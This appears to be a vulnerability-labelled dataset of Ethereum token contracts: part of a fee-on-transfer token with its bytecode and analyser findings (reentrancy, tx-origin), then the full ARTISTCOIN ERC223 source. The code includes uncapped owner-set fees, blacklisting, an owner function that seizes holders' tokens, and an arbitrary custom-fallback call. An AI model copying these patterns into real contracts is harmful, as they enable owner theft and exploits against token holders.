tokenAmount - ethAmt; uint256 balanceBefore = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( ethAmt, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); addLiquidity(liqAmt, amountETH.mul(15).div(100)); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(0), block.timestamp ); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) {_transferNoTax(sender,recipient, amount);} else {_transferStandard(sender, recipient, amount);} } function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{ for (uint256 i = 0; i < recipients.length; i++) { _transferNoTax(msg.sender,recipients[i], amount[i]); } } function _transferStandard( address sender, address recipient, uint256 amount ) private { uint256 amountReceived = takeFees(sender, amount); _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function takeFees(address sender,uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(_taxFee).div(100); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } receive() external payable {} function transferOwnership(address newOwner) public override onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _isExcludedFromFee[owner()] = false; _transferOwnership(newOwner); _isExcludedFromFee[owner()] = true; } function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function setIsFeeExempt(address holder, bool exempt) public onlyOwner { _isExcludedFromFee[holder] = exempt; } function toggleTransferDelay() public onlyOwner { transferDelay = !transferDelay; } }
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd8014610568578063dd62ed3e1461057d578063ea1644d5146105c3578063f2fde38b146105e357600080fd5b806395d89b41146104c657806398a5c315146104f8578063a9059cbb14610518578063bfd792841461053857600080fd5b80638da5cb5b116100d15780638da5cb5b1461045d5780638eb59a5f1461047b5780638f70ccf7146104905780638f9a55c0146104b057600080fd5b8063715018a61461041257806374010ece146104275780637d1db4a51461044757600080fd5b80632fd689e31161016f578063672434821161013e578063672434821461037c5780636b9990531461039c5780636d8aa8f8146103bc57806370a08231146103dc57600080fd5b80632fd689e31461030a578063313ce5671461032057806349bd5a5e1461033c578063658d4b7f1461035c57600080fd5b80630b78f9c0116101ab5780630b78f9c0146102735780631694505e1461029357806318160ddd146102cb57806323b872dd146102ea57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611c66565b610603565b005b34801561020a57600080fd5b5060408051808201909152600a8152695a75636b204275636b7360b01b60208201525b60405161023a9190611dad565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611bd2565b6106b0565b604051901515815260200161023a565b34801561027f57600080fd5b506101fc61028e366004611d5f565b6106c7565b34801561029f57600080fd5b50600c546102b3906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102d757600080fd5b506005545b60405190815260200161023a565b3480156102f657600080fd5b50610263610305366004611b5e565b6106fc565b34801561031657600080fd5b506102dc60105481565b34801561032c57600080fd5b506040516009815260200161023a565b34801561034857600080fd5b50600d546102b3906001600160a01b031681565b34801561036857600080fd5b506101fc610377366004611b9e565b610765565b34801561038857600080fd5b506101fc610397366004611bfd565b6107ba565b3480156103a857600080fd5b506101fc6103b7366004611aee565b61086e565b3480156103c857600080fd5b506101fc6103d7366004611d2d565b6108b9565b3480156103e857600080fd5b506102dc6103f7366004611aee565b6001600160a01b031660009081526001602052604090205490565b34801561041e57600080fd5b506101fc610901565b34801561043357600080fd5b506101fc610442366004611d47565b610937565b34801561045357600080fd5b506102dc600e5481565b34801561046957600080fd5b506000546001600160a01b03166102b3565b34801561048757600080fd5b506101fc610966565b34801561049c57600080fd5b506101fc6104ab366004611d2d565b6109b1565b3480156104bc57600080fd5b506102dc600f5481565b3480156104d257600080fd5b506040805180820190915260098152685a55434b4255434b5360b81b602082015261022d565b34801561050457600080fd5b506101fc610513366004611d47565b6109f9565b34801561052457600080fd5b50610263610533366004611bd2565b610a28565b34801561054457600080fd5b50610263610553366004611aee565b600a6020526000908152604090205460ff1681565b34801561057457600080fd5b506101fc610a35565b34801561058957600080fd5b506102dc610598366004611b26565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105cf57600080fd5b506101fc6105de366004611d47565b610a7b565b3480156105ef57600080fd5b506101fc6105fe366004611aee565b610aaa565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161062d90611e00565b60405180910390fd5b60005b81518110156106ac576001600a600084848151811061066857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a481611f13565b915050610639565b5050565b60006106bd338484610bc5565b5060015b92915050565b6000546001600160a01b031633146106f15760405162461bcd60e51b815260040161062d90611e00565b600691909155600755565b6000610709848484610ce9565b61075b843361075685604051806060016040528060288152602001611f70602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906112bb565b610bc5565b5060019392505050565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062d90611e00565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107e45760405162461bcd60e51b815260040161062d90611e00565b60005b83811015610867576108543386868481811061081357634e487b7160e01b600052603260045260246000fd5b90506020020160208101906108289190611aee565b85858581811061084857634e487b7160e01b600052603260045260246000fd5b905060200201356112f5565b508061085f81611f13565b9150506107e7565b5050505050565b6000546001600160a01b031633146108985760405162461bcd60e51b815260040161062d90611e00565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146108e35760405162461bcd60e51b815260040161062d90611e00565b600d8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b0316331461092b5760405162461bcd60e51b815260040161062d90611e00565b61093560006113db565b565b6000546001600160a01b031633146109615760405162461bcd60e51b815260040161062d90611e00565b600e55565b6000546001600160a01b031633146109905760405162461bcd60e51b815260040161062d90611e00565b600d805460ff60b81b198116600160b81b9182900460ff1615909102179055565b6000546001600160a01b031633146109db5760405162461bcd60e51b815260040161062d90611e00565b600d8054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a235760405162461bcd60e51b815260040161062d90611e00565b601055565b60006106bd338484610ce9565b6000546001600160a01b03163314610a5f5760405162461bcd60e51b815260040161062d90611e00565b30600090815260016020526040902054610a788161142b565b50565b6000546001600160a01b03163314610aa55760405162461bcd60e51b815260040161062d90611e00565b600f55565b6000546001600160a01b03163314610ad45760405162461bcd60e51b815260040161062d90611e00565b6001600160a01b038116610b395760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062d565b600060046000610b516000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b82816113db565b600160046000610b9a6000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905550565b6001600160a01b038316610c275760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062d565b6001600160a01b038216610c885760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062d565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d4d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062d565b6001600160a01b038216610daf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062d565b60008111610e115760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062d565b6001600160a01b03821660009081526004602052604090205460ff16158015610e5357506001600160a01b03831660009081526004602052604090205460ff16155b1561119657600d54600160a01b900460ff16610eb15760405162461bcd60e51b815260206004820152601e60248201527f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000604482015260640161062d565b600e54811115610f035760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062d565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f4557506001600160a01b0382166000908152600a602052604090205460ff16155b610f9d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062d565b600d546001600160a01b0383811691161461110b57600d546001600160a01b038481169116148015610fd85750600d54600160b81b900460ff165b1561108557326000908152600260205260409020544290610ffa9060b4611ea5565b10801561102a57506001600160a01b03821660009081526002602052604090205442906110289060b4611ea5565b105b6110855760405162461bcd60e51b815260206004820152602660248201527f544f4b454e3a2033206d696e7574657320636f6f6c646f776e206265747765656044820152656e206275797360d01b606482015260840161062d565b600f54816110a8846001600160a01b031660009081526001602052604090205490565b6110b29190611ea5565b1061110b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062d565b30600090815260016020526040902054601054811080159061112d5760105491505b8080156111445750600d54600160a81b900460ff16155b801561115e5750600d546001600160a01b03868116911614155b80156111735750600d54600160b01b900460ff165b15611193576111818261142b565b478015611191576111914761162f565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff16806111d857506001600160a01b03831660009081526004602052604090205460ff165b8061120a5750600d546001600160a01b0385811691161480159061120a5750600d546001600160a01b03848116911614155b1561121757506000611285565b600d546001600160a01b0385811691161480156112425750600c546001600160a01b03848116911614155b1561124e576006546008555b600d546001600160a01b0384811691161480156112795750600c546001600160a01b03858116911614155b15611285576007546008555b3260009081526002602052604080822042908190556001600160a01b03861683529120556112b584848484611669565b50505050565b600081848411156112df5760405162461bcd60e51b815260040161062d9190611dad565b5060006112ec8486611efc565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526001909152918220546113469184906112bb565b6001600160a01b038086166000908152600160205260408082209390935590851681522054611375908361168a565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113c99086815260200190565b60405180910390a35060019392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600d805460ff60a81b1916600160a81b179055600061145660646114508460556116f0565b9061176f565b905060006114648284611efc565b604080516002808252606082018352929350479260009260208301908036833701905050905030816000815181106114ac57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150057600080fd5b505afa158015611514573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115389190611b0a565b8160018151811061155957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600c5461157f9130911687610bc5565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b8908790600090869030904290600401611e35565b600060405180830381600087803b1580156115d257600080fd5b505af11580156115e6573d6000803e3d6000fd5b5050505060006115ff83476117b190919063ffffffff16565b905061161a84611615606461145085600f6116f0565b6117f3565b5050600d805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106ac573d6000803e3d6000fd5b8061167f576116798484846112f5565b506112b5565b6112b58484846118ac565b6000806116978385611ea5565b9050838110156116e95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062d565b9392505050565b6000826116ff575060006106c1565b600061170b8385611edd565b9050826117188583611ebd565b146116e95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062d565b60006116e983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119b1565b60006116e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112bb565b600c5461180b9030906001600160a01b031684610bc5565b600c5460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820181905260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561187357600080fd5b505af1158015611887573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108679190611d80565b60006118b884836119df565b90506119208260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060016000886001600160a01b03166001600160a01b03168152602001908152602001600020546112bb9092919063ffffffff16565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461194f908261168a565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119a39085815260200190565b60405180910390a350505050565b600081836119d25760405162461bcd60e51b815260040161062d9190611dad565b5060006112ec8486611ebd565b6000806119fc6064611450600854866116f090919063ffffffff16565b30600090815260016020526040902054909150611a19908261168a565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a6a9085815260200190565b60405180910390a3611a7c83826117b1565b949350505050565b8035611a8f81611f5a565b919050565b60008083601f840112611aa5578081fd5b50813567ffffffffffffffff811115611abc578182fd5b6020830191508360208260051b8501011115611ad757600080fd5b9250929050565b80358015158114611a8f57600080fd5b600060208284031215611aff578081fd5b81356116e981611f5a565b600060208284031215611b1b578081fd5b81516116e981611f5a565b60008060408385031215611b38578081fd5b8235611b4381611f5a565b91506020830135611b5381611f5a565b809150509250929050565b600080600060608486031215611b72578081fd5b8335611b7d81611f5a565b92506020840135611b8d81611f5a565b929592945050506040919091013590565b60008060408385031215611bb0578182fd5b8235611bbb81611f5a565b9150611bc960208401611ade565b90509250929050565b60008060408385031215611be4578182fd5b8235611bef81611f5a565b946020939093013593505050565b60008060008060408587031215611c12578081fd5b843567ffffffffffffffff80821115611c29578283fd5b611c3588838901611a94565b90965094506020870135915080821115611c4d578283fd5b50611c5a87828801611a94565b95989497509550505050565b60006020808385031215611c78578182fd5b823567ffffffffffffffff80821115611c8f578384fd5b818501915085601f830112611ca2578384fd5b813581811115611cb457611cb4611f44565b8060051b604051601f19603f83011681018181108582111715611cd957611cd9611f44565b604052828152858101935084860182860187018a1015611cf7578788fd5b8795505b83861015611d2057611d0c81611a84565b855260019590950194938601938601611cfb565b5098975050505050505050565b600060208284031215611d3e578081fd5b6116e982611ade565b600060208284031215611d58578081fd5b5035919050565b60008060408385031215611d71578182fd5b50508035926020909101359150565b600080600060608486031215611d94578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611dd957858101830151858201604001528201611dbd565b81811115611dea5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e845784516001600160a01b031683529383019391830191600101611e5f565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611eb857611eb8611f2e565b500190565b600082611ed857634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ef757611ef7611f2e565b500290565b600082821015611f0e57611f0e611f2e565b500390565b6000600019821415611f2757611f27611f2e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a7857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220860e32e580581f4b4defd7c444b223972b90537f33adb6ebed46ad471fcb65d964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,609
0x89d97659a9bca181044e1b3e819ec484747d200c
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization * control functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the * sender account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC223 * @dev ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public view returns (uint); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title ContractReceiver * @dev Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /** * tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function if data of token transaction is a function execution */ } } /** * @title ARTISTCOIN * @author ARTISTCOIN * @dev ARTISTCOIN is an ERC223 Token with ERC20 functions and events * Fully backward compatible with ERC20 */ contract ARTISTCOIN is ERC223, Ownable { using SafeMath for uint256; string public name = "ARTISTCOIN"; string public symbol = "ART"; uint8 public decimals = 8; uint256 public totalSupply = 18e9 * 1e8; uint256 public distributeAmount = 0; bool public mintingFinished = false; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed from, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); /** * @dev Constructor is called only once and can not be called again */ function ARTISTCOIN() public { balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } /** * @dev Prevent targets from sending or receiving tokens * @param targets Addresses to be frozen * @param isFrozen either to freeze it or not */ function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } /** * @dev Prevent targets from sending or receiving tokens by setting Unix times * @param targets Addresses to be locked funds * @param unixTimes Unix times when locking up will be finished */ function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } /** * @dev Function that is called when a user or another contract wants to transfer funds */ function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev Standard function transfer similar to ERC20 transfer with no _data * Added due to backwards compatibility reasons */ function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } /** * @dev Transfer tokens from one address to another * Added due to backwards compatibility with ERC20 * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Allows _spender to spend no more than _value tokens in your behalf * Added due to backwards compatibility with ERC20 * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender * Added due to backwards compatibility with ERC20 * @param _owner address The address which owns the funds * @param _spender address The address which will spend the funds */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Burns a specific amount of tokens. * @param _from The address that will burn the tokens. * @param _unitAmount The amount of token to be burned. */ function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _unitAmount The amount of tokens to mint. */ function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } /** * @dev Function to stop minting new tokens. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } /** * @dev Function to distribute tokens to the list of addresses by the provided amount */ function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } /** * @dev Function to collect tokens from the list of addresses */ function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } /** * @dev Function to distribute tokens to the msg.sender automatically * If distributeAmount is 0, this function doesn't work */ function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); Transfer(owner, msg.sender, distributeAmount); } /** * @dev fallback function */ function() payable public { autoDistribute(); } }
